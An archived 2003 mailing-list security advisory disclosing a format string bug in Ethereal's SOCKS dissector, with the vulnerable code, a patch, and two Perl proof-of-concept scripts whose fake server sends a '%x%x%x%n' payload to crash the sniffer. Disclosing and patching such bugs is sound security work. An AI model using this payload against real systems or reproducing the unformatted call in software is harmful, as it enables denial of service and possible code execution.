[Full-Disclosure] Ethereal format string bug, yet still ethereal much better than windows

From: Georgi Guninski (guninski@guninski.com)
Date: 03/08/03

  • Next message: benjurry: "[Full-Disclosure] Worm.Dvldr analysis report"
    From: Georgi Guninski <guninski@guninski.com>
    To: full-disclosure@lists.netsys.com
    Date: Sat, 08 Mar 2003 15:57:45 +0200
    

    Georgi Guninski security advisory #60, 2003

    Ethereal format string bug, yet still ethereal much better than windows

    Systems affected:
    Ethereal < 0.9.10
    Fixed in 0.9.10

    Risk: Medium
    Date: 8 March 2003

    Legal Notice:
    This Advisory is Copyright (c) 2003 Georgi Guninski.
    You may distribute it unmodified.
    You may not modify it and distribute it or distribute parts
    of it without the author's written permission - this especially applies to
    so called "vulnerabilities databases" and securityfocus, microsoft, cert
    and mitre.
    If you want to link to this content use the URL:
    http://www.guninski.com/etherre.html
    Anything in this document may change without notice.

    Disclaimer:
    The information in this advisory is believed to be true though
    it may be false.
    The opinions expressed in this advisory and program are my own and
    not of any company. The usual standard disclaimer applies,
    especially the fact that Georgi Guninski is not liable for any damages
    caused by direct or indirect use of the information or functionality
    provided by this advisory or program. Georgi Guninski bears no
    responsibility for content or misuse of this advisory or program or
    any derivatives thereof.

    Description:
    Ethereal is a sniffer. According to www.ethereal.com its purpose is:
    "Sniffing the glue that holds the Internet together"
    There is format string bug in it which is confirmed to be a DoS and
    probably can lead to execution of code (the difficulty comes from the fact
    that some characters are escaped)

    Details:
    The problem seems to be in: "packet-socks.c" line 910 of 1180
    -----
         proto_tree_add_text( tree, tvb, offset, linelen,
                                                      format_text(data, linelen));
    ------
    The format mask is missing.
    How to reproduce on localhost:

    start raw3sv.pl (dummy socks server, attached)
    start ethereal on loopback, update packets in real time.
    start sockcl.pl (attached, does socks ping, without argument connects to
    localhost)
    wait about 5 seconds.
    go to ethereal and select the line "Sock5.....Ping Req Results"
    result: SEGV.

    ---raw3sv.pl----
    #!/usr/bin/perl
    # Written by Georgi Guninski
    use IO::Socket;
    use str1ct;
    #local port
    my $port = 1080;

    #redirect to

    my $msg="\x05\x00";
    my $repl="\x05\x00\x00\x00\x02aa";

    my $pi="m\$sux\%x\%x\%x\%n";

    my $server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM,
    Reuse => 1, Listen => 2)
    or die "Couldn't create tcp-server.\n";

    print "Dummy socks server for ethereal\nListening on localhost:${port}\n";

    my $client;
    while ($client = $server->accept()) {
      print "Client connected.\n";
      print "Sending...";
      sleep(1);
    # while(<$client>) {print $_;}
      print $client "$msg";
      print "OK\n";
      sleep(1);
      print $client "$repl";
      sleep(1);
      print $client "$pi";
      close($client);
      exit(0);
    }
    ----------------

    ----sockcl.pl------------
    #!/usr/bin/perl -w
    # Written by Georgi Guninski
    use IO::Socket;
    use str1ct;
    my $host= $ARGV[0] || "localhost";
    my $port=1080;

    print "host=${host}\n";

    my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto =>
    "TCP") || die("Unable to connect");

    print "Start\n";

    my $logcmd="\x05\x00\x00";
    my $pingcmd="\x05\x80\x00\x01\x01\x01\x01\x01\x01\x01";

    print $socket $logcmd;
    my $x;
    sysread($socket,$x,2);
    #sleep(1);
    print $socket $pingcmd;
    sleep(5);

    print "Done\n";
    ----------------

    Workaround/Solution:
    Upgrade to 0.9.10 or apply the following patch:
    ------------------
    --- packet-socks.c.orig 2002-08-29 03:40:03.000000000 +0300
    +++ packet-socks.c 2003-02-25 15:52:14.000000000 +0200
    @@ -908,7 +908,7 @@
                                       linelen = lineend - data;

                                              proto_tree_add_text( tree, tvb, offset, linelen,
    - format_text(data, linelen));
    + "%s",format_text(data, linelen));
                                              offset += linelen;
                                              data = lineend;
                                      }
    ------------------

    Vendor status:
    Notified on Tue, 25 Feb 2003
    http://www.ethereal.com/appnotes/enpa-sa-00008.html

    btw, happy 8 March to the women.

    Regards,
    Georgi Guninski
    http://www.guninski.com

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html


  • Next message: benjurry: "[Full-Disclosure] Worm.Dvldr analysis report"

    Relevant Pages